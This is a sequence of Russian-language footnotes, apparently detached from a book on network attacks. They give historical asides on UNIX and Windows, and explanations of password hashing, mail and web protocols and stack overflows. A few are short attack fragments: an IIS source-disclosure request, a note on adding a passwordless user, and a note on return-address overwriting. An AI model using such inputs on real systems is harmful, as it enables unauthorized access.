От английского “hack” - рубить, разрубать; кромсать; разбивать на куски, надрубать; наносить резаную рану, а так же тонкая ювелирная работа, верх совершенства

Ну, по-русски они клацали, а по-американски хацкали

Словом, киберпанков

А могут считать, но публично утверждать обратное

Сигареты, пиво и отращивание волос еще никого не сделали хакером

Хакеры, хакеры…

Шутка, конечно, но чего не бывает в жизни…

Точная статистика варьируется от одного источника к другому, поэтому, конкретные цифры здесь не приводняется

Любопытно, но выдержки из этой работы непонятным образом попадают в монографию Николая Безрукова «Компьютерные вирусы», изданную гораздо позже - в 1989 году, но без ссылок на первоисточник!

К слову сказать, диплом не является свидетельством образованности - деградация высших учебных заведений - тема для отдельного длинного разговора

“…когда он (хакер -КК) охвачен своей манией, он не может говорить ни о чем, кроме своей программы. Но единственный момент, когда он счастлив, время, проведенное за пультом управления вычислительной машины. И тогда он не станет беседовать ни с кем, кроме машины» Дж. Вейценбаум

“Хакинг дает Кевину Минтику чувство самоуважения, которого ему не хватает в реальной жизни. Алчность и стремление навредить тут ни при чем…” Гарриет Розетто, директор реабилитационной службы

Автор этой книги не всегда разделяет мнения психологов, перечисленные в этой главе

Вот почему среди хакеров практически никогда не встречается женщин

Жизнь проходит независимо от того, протекает ли она за решением задачи или хождением на открытом воздухе - КК

«Inside the mind of Dark Avenger» by Sarah Gordon

Иа-Иа

Как хакер, кончено

Во избежание искажений атмосферы произведения, текст не переведен.

Слабительное, одним словом

Пускай заключительные приговоры в подобных случаях - незавидная экзотика, но все же…

С помощью cookie

Во всяком случае «кто предупрежден, - то вооружен»

В противовес аппаратным, совершаемым кусачками

То есть гостевых правах с минимальными привилегиям

Конечно, для этого придется обзавестись сервером и выделенным каналом, но, вполне вероятно, вложенные в атаку средства окупятся продажами ворованной информацией

Равно, как и сервер, специально предоставленный для взлома

Иными словами дифференцированное программное обеспечение или гетерогенная сеть в отличие от гомогенной (одно-ранговой)

API - Application Program Interface - Интерфейс Прикладных Программ

Здесь приходится использовать термин дейтаграмма, что бы не вызвать противоречия

См. второй том книги

http://www.fish.com/~zen/satan/satan.html

Хорошее место, траву прямо на улице курят. Что и объясняет особенности берклеского юникса. (Антонов - старший.)

Впрочем, некоторые GNU программы успешно перенесены на платформу Windows. Например, редактор EMACS.

Но очень, очень желательно

“Что такое комп дома в собственном монопольном использовании, без перфокарт и начальника машины современная молодежь не поймет - они этого времени уже не застали…” Сергей Пустовойтов

"I remember the good old days, when computers were mainframes, analysts were magicians, and programmers punched cards…" Philip Fites, Peter Johnston, Martin Kratz "Computer viruses crises"

Точнее, практически идентичен. Но объяснение причин различий потребовало бы много места

И, кстати, в то время самой быстрой в мире.

Самой же операционной системе отводилась только половина из них - 16 килобайт

Именно эта идея использовалась в IBM PC

Подразумевается градусов

По сравнению с аналогичными программами, написанными на ассемблере. Но и в этом случае его стоимости составляла десятки и сотни тысяч долларов

Вернее, сам проект назывался MAC, а MUTLICS - его единственное детище

Windows NT поддерживает «копирование при записи», а Windows 95 нет

Т.е. объявить файл частью виртуальной памяти, расположенной на диске. Подробнее об этом можно прочитать в книге Джеффри Рихтера «Windows для профессионалов»

Сам язык BCPL был разработан Мартином Ричардсом

Имеется ввиду компания Novell, выкупившая у AT amp;T лицензию на код UNIX, а вовсе не сама AT amp;T

Надежность всегда была главным достоинство продуктов Microsoft (безо всякой иронии)

А.П. Руднев

Хорошее место, траву прямо на улице курят. Что и объясняет особенности берклеского юникса. (Антонов - старший.)

«Дисплеи - это отдельная история - кубинские не работали, когда было жарко, советские, когда холодно…»

256 килобайт оперативной памяти, 5 мегабайт накопитель

Тем не менее, MISS была успешно перенесена с ЕС ЭВМ на IBM PC и даже использовалась узким кругом поклонников, но несовместимость с MS-DOS и UNIX воспрепятствовали ее распространению

Вадим

Давидов «Вся правда о Демосе»

Брат Вадима

Современная вариация на тему БЭСМ-6

Клон VAX-730

Высказывание пренадлежит Линусу

А во вторую очередь уже обращает внимание на удобство инструментария

Впрочем, многие администраторы ее используют и… «пока все работает»

То есть, как раз правильный

Ну, почти бы не возникало

Так же известное под именем обработчик

Как и в MS-DOS

То есть, конечно, существует, но прикладным приложениям она недоступна

GNU рекурсивно расшифровывается как GNU Not Unix.

Смотри Wipro UWIN Version 2.0 User Guide

В штатную поставку Windows 2000 входит и telnet-сервер

А еще говорят, что в UNIX нет никакой черной магии

Вывести содержимое файла /etc/passwd на экран

Здесь и далее цитируется оригинальная документация по CYGWIN

И правильно - привыкайте работать в командной строке

Ложь - искусство умолчания

Все точно так, как и в MS-DOS, только наклон черты в другую сторону

К слову сказать, в MS-DOS команда dir *1* выведет все файлы, а не только те, в имени которых присутствует единица

Сокращение от visual interface

«Машинная программа выполняет то, что вы ей приказали делать, а не то, что бы вы хотели, чтобы она делала» Третий закон Грида

Ну почти любой

По тем временам

Подробнее это рассмотрено в главе «Технологии срыва стека»

По-английски Local Echo

Если сервер не находится в дауне (с ним, как и с большинством остальных бесплатных ресурсов, это случается гораздо чаще, чем хотелось бы),

Точнее, генерируется случайное 12 битное число, преобразуемое в два читабельных символа

Строго говоря, привязка может состоять только из символов 0-9 и A-z, но это бы усложнило реализацию и приведенный пример стал бы менее нагляден

«- Не очень-то надежная защита, - задумчиво сказала Лиза» John Warley Press Enter.

Современные версии UNIX уже не ограничивают длину пароля восемью символами, но выбирать длинные пароли категорически не рекомендуется, - это значительно снижает криптостойкость. К сожалению, внятно объяснения потребовали бы много места и знаний глубоких криптографиии.

Необходимо отметить, во многих версиях UNIX shadow по умолчанию выключен, и все пароли содержатся в общедоступном файле passwd

Вернее, почти любой. Об ограничениях можно прочитать в главе «Технология срыва стека»

Ну разве администратор окажется совсем уж криворуким

Thompson K. Reflections on trusting trust CACM, 1984,v.27, No 8, pp.761-764 (Перевод Н.Н. Безрукова)

Добавляет нового пользователя kpnc с пустым паролем

Victim - по-английски жертва.

Ну не грохать же после этого администратора?!

Технически правильно говорить о секциях или областях, но термин «сегмент» более привычен для читателей, знакомыми с микропроцессорами Intel 80x86

Если бы современные операционные системы не блокировали обращения прикладных программ к портам ввода-вывода, было бы возможно, используя контроллер DMA, нейтрализовать защитный механизм.

«Можно сделать защиту от дурака, но только от неизобретательного» Закон Нейсдра

Если отладка - процесс удаления ошибок, то программирование должно быть

процессом их внесения. Э. Дейкстра

Реже, какого ни будь экзотического языка

Да, уже в то время Microsoft ухитрилась стать монополистом.

А она ее и не выдержала. Даже сейчас не смотря на всю прелесть Microsoft Visual C++, он так и не стал стандартом де-факто.

Занимавшимся доселе текстовыми процессорами

Ну почему же не позволяли? Позволяли еще как, путем хитроумных технических извращений, но скорости работы это не прибавляло.

Порядка 500$

Апрель 1980 года

Это не первый и не последний случай переманивая талантливых программистов под свое крыло.

Любопытно, но строгие меры безопасности IBM так и не позволили Патерсону подержать в руках компьютер, для которого разрабатывалась эта операционная система.

Тут уместно вспомнить NDOS от Symantec - пользующейся большой популярностью на западе.

В первую очередь, разумеется конкуренты, цель которых деньги и ничего, кроме денег

В своей книге «Дорога в будущее»

PC Magazine N97-6 "Взгляд в прошлое" Рубен Герр

В октябре 1983

GW-BASIC, разработанный годом раньше, не в счет. Формально он поддерживал графику, но графической средой не являлся.

Первые Macintosh появились на рынке в 1984 году

Но IBM среди них не было

Впрочем, Windows в те времена была всего лишь графическим расширением MS-DOS

PC Magazine N97-6 "Взгляд в прошлое" Рубен Герр

В то время Microsoft не уставала повторять, что будущее принадлежит UNIX и всеми силами пыталась «раскрутить» пользователей PC на эту операционную систему

Любопытно, насколько же нужно повысить производительность, чтобы пользователи этого не заметили?

Близкую к современным версиям Microsoft Office

Билл Гейтс «Дорога в будущее»

«Почему Microsoft победит Netscape» Джон Дворак

так бы хотелось в это поверить!

Если не считать огромного количества новых ошибок, отсутствовавших в Windows NT 4.0

Компания Microsoft же на своем сайте пытается доказать, что утверждение «Windows 2000 - это просто очередная ОС» всего лишь миф и не более. ()

Впрочем, и Windows 2000 его, возможно, не обеспечит то же

Кстати, если в слове “VMS” сдвинуть все буквы на одну позицию вправо, получится “WNT”

А все что не удается отключить выламывается с корнем

Разумеется, речь идет только о продуктах Microsoft

Ну кому в двухтысячном взбредет в голову устанавливать на своей машине MS-DOS?

И что же это за сервер такой?

Глава «Атака на DNS сервер» помещена во второй том «Техники сетевых атак»

В главе «Протоколы telnet и rlogin» подробно описан процесс передачи пароля. В большинстве случаев используется алгоритм Нагла, кэширующий отправляемые символы, поэтому в каждом пакете отправляется более одного символа.

А перехват трафика возможен как в локальных, так и глобальных сетях: ни широковещательная среда Ethernet, ни протоколы TCP/IP не защищают от этого.

Почему не смогут? Смогут, еще как - читайте дальше.

В Windows 2000 автоматический вход в систему установлен по умолчанию

Вообще-то алгоритм выбора сервером протокола зависит от множества обстоятельств и в некоторых случаях может не совпадать с описанным.

В переводе с английского «отклик», «отзыв», «требовать пароль» (воен.)

Если клиент поддерживает только PC Network Program 1.0

Строго говоря, это утверждение верно в том, и только в том случае если функция f инъективна (одному значению функции соответствует только один аргумент). А, поскольку, хеш функция наверняка не инъективна, возможна такая ситуация, когда x?x1, но f(x)=f(x1). Однако вероятность подобной коллизии пренебрежительно мала и ее не берут в расчет.

В самом же деле, ведь не возможно по LM-хешу угадать NT-хеш

Именно так и поступают операционные системы Windows 95 и Windows 98 (и даже сама Windows NT для соединения с другой NT в конфигурации по умолчанию)

строка нулей шифруется алгоритмом DES, а роль ключа играют семь символов пароля

Очевидно, взлом DES не относится к атакам на Windows NT

если под операцией подразумевать вычисление функции DES и сравнения полученного результата с исходным хеш - значением

Пояснение: что бы перебрать каждый из семи символьных паролей в худшем случае потребуется 1+k+k2+k3+k4+k5+k6+k7 операций. Поскольку, имеется два семи символьных пароля, то потребуется вдвое больше операций: 2*(1+k+k2+k3+k4+k5+k6+k7). Но в среднем пароль удается найти вдвое быстрее, отсюда - 2*(1+k+k2+k3+k4+k5+k6+k7) * ? - 1+k+k2+k3+k4+k5+k6+k7

Стоит заметить, даже старые версии UNIX ограничивают пароль восемью символами, различая при этом заглавные и строченые буквы!

Ну куда же Microsoft без ошибок!

А не абстрактных операций

А можно послать ей письмо, содержащее Java-код, и, если почтовый клиент жертвы поддерживает отображение HTML-писем, то на требуемую ссылку злоумышленник сможет завести атакуемого самостоятельно

В Windows 2000 это упущение уже исправлено

Резервная копия хранится в упакованном виде

Или их хеши

Подробности в статье Q129457 базы знаний

А по умолчанию они у него есть.

Правда, в такой конфигурации Windows 2000 обгоняет по скорости Windows 98, которая просто не знает как ей распорядится с таким количеством оперативной памяти

И находятся же такие горячие головы!

Ну чем не коммунизм в чистом виде?

Кроме сотни-другой игрушек

По сравнению с Windows 95

Сам запустил - сам и виноват!

Каждый член этой последовательности получается циклическим сдвигом значения предыдущего на семь бит влево

Ну почему не возможно? Возможно, но это выходит за рамки данной книги

Подробнее об этом алгоритме можно прочитать , но для понимания дальнейшего материала это совсем не обязательно

Хорошая же защита, однако!

А нулевое значение равносильно отсутствию пароля

Но все равно очень и очень много!

Или в электронной форме. Сути это (понятное дело!) не меняет

Круглая скобка говорит «не включая последний элемент», т.е. [0x0,0xFF) равносильно 0x0…0xFE.

Kluge - Устройство, программа или часть программы, которые теоретичски не должны работать, но почему-то работают. Словарь Лингво

Такие пакеты называют тиниграммами, от английского tiny - крошечный.

USASCII - от USA ASCII, т.е. символы алфавита США, исключая псевдографику и прочие национальные кодировки

http://www.microsoft.com/security/bulletins/MS99-033faq.asp

В большинстве случаев объем измеряется не в байтах, а в октетах (от octets). Поскольку один октет равен восьми битам, то обе единицы измерения численно равны между собой.

Стандарт не оговаривает пути достижения уникальности идентификатора, поэтому каждый волен реализовывать их по-своему.

Хотя в некоторых случаях, такая информация не соответствует действительности, попробуйте ей поверить

Сервер поприветствовал вас? Так поприветствуйте же и вы сервер!

HELO с одной буквой L

В дополнении к этому, администратор может разрешить рассылку писем с некоторых IP адресов, находящихся за пределами локальной подсети, возникнет такая необходимость

Совпадение с именем пользователя случайное

Шутка

В следующей сессии этот флаг сбрасывается. То есть он обозначает буквально следующее «сообщение получено в промежутке между двумя последними сессиями».

Правда, для этого нужно обладать правами удаленного запуска SendMail, - достаточно редкая на сегодняшний день экзотика.

То есть, на той же самой, где и установлен SendMail. Такое случается, когда скажем, посылает письмо

Смотри «банговый путь» в главе «История возникновения и эволюции UNIX», страница…

Зато был возможен несанкционированный доступ к ресурсам, но в то время это никого не волновало - SendMail или любой другой почтальон считался общедоступным сервисом.

Все POP3 серверы обязаны поддерживать авторизацию.

Точное значение зависит от настоек сервера и обычно колеблется от десятка минут до половины часа.

SMTP-соединение создается после рукопожатия, совершаемого командами HELO и может быть реализовано поверх любого транспортного соединения, например, TCP, UDP, X.25 или другого. Поэтому, существует возможность отправки почты в любую сеть с использованием протокола SMTP.

Вообще-то, немногим более одной, но это роли не играет

Да и не только на нем - подобная схема используется в подавляющем большинстве случаев

Актуально при использовании UUCP пересылки

К этому рекомендуется прибегать, например, во время зацикливания квитирующих сообщений доставки.

Что-то среднее между ICQ и IRC

И, вероятно, SendMail

Для этого вовсе не обязательно устанавливать UNIX на свой персональный компьютер, достаточно воспользоваться любым сервером, предоставляющим такой сервис.

А вот такую экзотику найти в сети уже сложнее

Или редко - в зависимости от надежности поставщика сетевых услуг

В некоторых случаях используется другой путь

Такую конфигурацию выгодно использовать для массовой рассылки писем.

Впрочем, немногие POP3 сервера написаны на Perl, - простота программирования оборачивается ухудшением производительности

Во время написания книги успела выйти и финальная версия Windows 2000, впрочем, еще не свободная от ошибок.

Например, бесконечным.

Не секрет, что некоторые анонимайзеры сохраняют IP адреса отправителей корреспонденции.

Да, так, собственно, и происходит - этот сервер ведет протоколы всех действий пользователя.

Как правило, для этого необходимо завести собственный сервер.

Конечно, это очень грубая подделка, но в качестве примера вполне сойдет

Адрес сервера входящей почты содержится в e-mail адресе, а адрес сервера исходящей почты можно узнать из заголовка сообщения - для этого Алиса должна отправить Еве хотя бы одно письмо

Читай - не должен быть известен злоумышленнику

Смотри том 2

Или относительных путей, ссылающихся на родительские каталоги

А может быть и более поздней, у автора не было возможности это проверить

Хм, а почему же не «Преграда для вирусов»?

Исходя из скорости 1 пароль в секунду

А что бы обратить внимание, надо как минимум изучить заголовок - почтовые клиенты не всегда уведомляют кому они отправляют письмо

От английского posting - посылка

То есть \r\n.\r\n

Тело сообщение от заголовка отделяется одной пустой строкой

Смотри том 2

Эдакой подопытной крыски с нежно-розовым хвостиком и словно нарисованным глазками-бусинками.

Наверное, не стоит объяснять как узнать IP адрес по имени хоста?

обратите внимание, что этот сервер бывает общедоступен лишь эпизодически

Что поделать, Украина…

А вот количество сообщений бесконечно. Поскольку скорость получения сообщений уступает скорости их создания, получить все сообщения сети невозможно.

Увы, это не грубое слово, а грубые нравы современной жизни…

Впрочем, политика Демоса в этом вопросе настолько изменчива, что к моменту выход книги в свет, сказанное, вероятнее всего, уже не будет соответствовать действительности

Впрочем, модератор конференции теоретически может успеть удалить наше сообщение.

В терминологии outlook express

Зачем засорять сетевой трафик?

Сказанное справедливо и для поля “Sender” (если оно присутствует)

А почему они были должны произойти?

Надежда Александровна, Вы уж извините, но кого-то все же пришлось выбирать…

Реклама, однако!

В это трудно поверить, но тогда в сети вандалов еще не было

Если выбирается нестандартный порт, то он указывается в ссылке, например,

Никакого приветствия (как это случалось ранее) сервер не выдает.

Подавляющее большинство HHTP-серверов не поддерживают версии HTTP ниже 1.0

Подробнее об этом рассказано в RFC-2068

Эта же ошибка распространялась и на остальные типы исполняемых файлов: «.ht», «.id», «.pl» и так далее.

Не обольщайтесь, дырку уже давно прикрыли

Или так: “GET /default.asp\”

Эта глава находится во втором томе настоящей книги

Доступ к серверу умышленно закрыт. Пожалуйста, выберите другой сервер.

Смотри файл

Доступ отвергнут, требуется аутентификация

Способы перехвата трафика будут рассмотрены позднее в одноименной главе, помещенной во второй том настоящей книге

Вот так и появляется миф о всемогуществе хакеров.

Метод base предписывает разделять имя пользователя и пароль знаком двоеточия

Точнее со снятием экспертных ограничений на криптоалгоритмы в США

«Соляные рудники» - так на жаргоне хакеров называются программисты, работающие над изматывающими, но бесперспективными проектами.

Для подобных преобразований пригодится приложение «Калькулятор», входящее в Windows

Internet Explorer до версии 5.x не поддерживает двоичной формы записи адреса

В том числе Internet Explorer и Netscape Navigator

Заметьте, 20990125196 не равно 3512368580!

Адресная строка, передаваемая методом GET, ограничена «всего» 30.612 байтами. Это ограничение одинаково для всех версий Internet Explorer и Netscape Navigator, потому что это максимальная длина строки, которую может вместить элемент интерфейса «окно редактирования», по крайней мере, в операционных системах Windows 9x\Windows NT 4.х.

Или установить собственный WEB-сервер на локальной машине

То есть восьмидесятый порт.

Впервые он появился в HTTP/1.1

Реализуемым разработчиками по желанию, то есть обычно не реализуемым

Если клиент использует Proxy-сервер, то поле REMOTE_ADDR будет содержать его IP адрес

Разумеется, при отсутствии ошибок реализации.

Приведен лишь фрагмент ответа сервера

Microsoft Active Server Pages (ASP) загружаются, вместо того что бы исполнятся, даже после того вы уставновили ASP исправление для IIS.

«Если четыре причины возможных неприятностей заранее устранены, то всегда найдется пятая» Четвертый закон Мерфи

Alias

На диске он находится под именем

Обычно на серверах устанавливается, по крайней мере, 64 мегабайта RAM, не говоря уже о виртуальной дисковой памяти.

Сиу (племя североамериканских индейцев и индеец этого племени) - словарь Лингво 5.0

Смотри диск file://SRC/siou

До сих пор реальна посылка шквала запросов на один и тот же сервер с разных IP адресов, используя подмену своего IP адреса (подробнее об этом будет рассказано в главе «Атака Митника»)

«SENDMAIL - Межсетевой почтовый роутер» Eric Allman. Перевод Плотникова Александра

Врут, конечно

Сосиски когда варятся, очевидно, пахнут.

Смотри книгу «Морфологическая астрономия» Ф. Цвиккии, 1957

Только посмотреть, руками не трогать!

Для той же цели можно воспользоваться готовой реализацией, содержащейся в файле “/SRC/ahadir.ru”

Если к моменту выхода книги, администратор не устранит брешь в защите

ECHO “*” выводит на экран ‘*’, а не содержимое директории.

Протокол сессии находится на диске под именем

Если в угловых скобках ничего не указывать, то чтение будет происходить из устройства стандартного ввода

На диске она находится в файле , а так же доспутна по адресу

Т.е. лицом, разместившим стороннюю программу на своем сервере

Где ‘x’ режим доступа равный ‘»’ или ‘«’.

А синтаксически манипулятор ничем не отличается от имени файла

Карточка может быть такой же виртуальной, как и сам магазин

Измененные строки выделены жирным шрифтом.

Браузер Internet Exploder поддерживает протокол ресурсов resource protocol, который позволяет загружать ресурсы из файла. Например: res://C:\WINNT\system32\shdoclc.dll/dnserror.htm

Для жертвы локальным, а для злоумышленника - удаленным.

Т.е. в младших адресах

Порядок расположения буферов в оперативной памяти зависит от характера используемого компилятора. Например, Microsoft Visual C++ 6.0 разместит эти переменные в обратном порядке. Т.е. в данном случае к адресу возврата оказывается ближе user, а не pass.

Автор, набравшись наглости, рекомендует свой собственный трехтомник «Образ мышления IDA», посвященный технике дизассемблирования

На сайте разработчика находится бета-версия пригодная для экспериментов, описанных в этой главе

Ну, впрочем не обязательно именно на начало

Адрес 0x401018 указывает на первую команду, следующую инструкцией вызова функции Auth. Разумеется, такой выбор не единичен, и можно передать управление любой другой ветке программы.

Только для Windows 2000

Для упрощения листинга из файла buff.psw читается только один пароль, а имя пользователя игнорируется.

Ну разве что перебором паролей

Жирным шрифтом выделены аргументы функции.

С этими словами одна путаница… вообще-то слово не равно 16 битам, а разрядности процессора.

Относительные смещения отсчитываются от верхушки кадра стека (смотри комментарии к дизассемблированному листингу программы printf.bug.c в строке 0x401003)

Во избежание дублирования код, сравнивающий пароли, отстутствует

Кстати, а как себя поведет эта конструкция, встретившись со строкой нулевой длины?

Некоторые компиляторы умеют адресовать локальные переменные посредством регистра ESP и значение регистра EBP не сохраняют.

Так иногда программисты называют область памяти, возникающую между двумя соседними переменными, в результате выравнивая одной из них.

Не считая того, что далеко не каждая программа выделит в распоряжение злоумышленника сотню байт памяти

Шутка

А доступ к исполняющимся в данный момент файлам заблокирован

Хотя такие приложения есть и самое короткое из них состоит всего из одной команды: ret.

Падает производительность? Ну и пусть себе падает. Все равно разобраться, почему она падает, слишком сложная задача для рядового администратора, который просто-напросто перезапустит систему, когда обнаружит что «чего-то стала тормозить».

При условии, что программа запущена под управлением Windows 2000.

Sing Extend

Например, код вызова cmd.exe, приведенный в дополнении «Использование стека для вызова командного интерпретатора под Windows NT» не работает в тех случаях, когда значение регистра EDX окажется иным.

Например, компиляторы, защиты

Поскольку блокирует дальнейшее выполнение программы, т.е. «вешает» ее.

Именно двадцатый (т.е. 0x14 в шестнадцатеричной системе исчисления) по счету байт строки попадает в старший байт сохраненного адреса возврата

Для экономии места пришлось пойти на некоторые сокращения и опустить незначащие фрагменты. Полный протокол содержится в файле “/LOG/buff.demo.log”

Что, впрочем, маловероятно, поскольку завершающий строку ноль обычно записывается в старший байт адреса возврата, который равен нулю, а все данные, расположенные ниже (т.е. в старших адресах) остаются нетронутыми.

«Ошибка? Это не ошибка, это системная функция!»

Подробнее об этом рассказано в главе «Атака на Windows NT»

При условии, что скорости перебора у всех алгоритмов идентичны

Разумеется, оптимизированный по скорости, в ущерб размеру